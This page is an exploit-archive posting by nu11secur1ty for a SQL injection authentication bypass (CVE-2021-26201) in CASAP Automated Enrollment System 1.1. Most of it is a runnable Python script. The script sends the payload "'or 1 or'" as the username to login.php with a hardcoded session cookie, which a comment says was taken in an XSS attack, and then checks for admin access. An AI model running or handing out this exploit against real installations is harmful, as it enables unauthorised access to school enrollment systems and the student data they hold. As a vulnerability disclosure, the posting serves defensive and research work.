what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

CASAP Automated Enrollment System 1.1 SQL Injection

CASAP Automated Enrollment System 1.1 SQL Injection
Posted Mar 2, 2021
Authored by nu11secur1ty

CASAP Automated Enrollment System version 1.1 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
SHA-256 | 42eb07d9630195bb39e10b9baec9a00896bb2bb1cee634e40491dea6513c0e7b

CASAP Automated Enrollment System 1.1 SQL Injection

Change Mirror Download
# Exploit Title: CASAP Automated Enrollment System 1.1 -
Authentication Bypass cookie session
# Exploit Author: @nu11secur1ty
# Date: 03.02.2021
# Vendor Homepage:
https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/Yna%20Ecole/final.zip
# Version: 1.1
# Tested On: Ubuntu + XAMPP 7.3.2
# Description: CASAP Automated Enrollment System 1.0 - Authentication
Bypass SQLi cookie session
# Exploit Link:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26201
# More: https://www.nu11secur1ty.com/2021/03/cve-2021-26201.html

[Exploit]


import time
import sys
import requests
import webbrowser

# Creator of the idea: Himanshu Shukla
print("Author: @nu11secur1ty")

def authbypass(url):

#Authentication Bypass
s = requests.Session()
#Set Cookie fot testing
#PHPSESSID=3g6ghfl8i7qh190m4pq92fv262 #in my case from XSS attack
cookies = {'PHPSESSID': 'inucrnag25j9h5hb826kovir0p'}

print ("[*]Attempting Authentication Bypass cookie session...")
time.sleep(1)

values = {"username":"'or 1 or'","password":""}
r=s.post(url+'login.php', data=values, cookies=cookies)
p=s.get(url+'dashboard.php', cookies=cookies)

#Check if Authentication was bypassed or not.
logged_in = True if ("true_admin" in r.text) else False
l=logged_in
if l:
print("[+]Authentication Bypass Successful...!")
else:
print("[-]Failed cookie Authentication exploit!")
print("[-]Check Your URL")

if __name__ == "__main__":

if len(sys.argv)!=2:
print("You Haven't Provided any URL!")
print("Usage : python3 exploit.py <URL>")
print("Example : python3 exploit.py http://IP_or_domain/final/")
exit()
try:
authbypass(sys.argv[1])
webbrowser.open('http://10.10.10.100/final/dashboard.php')
except:

print("[-]Invalid URL!")
exit()

# BR @nu11secur1ty


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://www.exploit-db.com/
https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close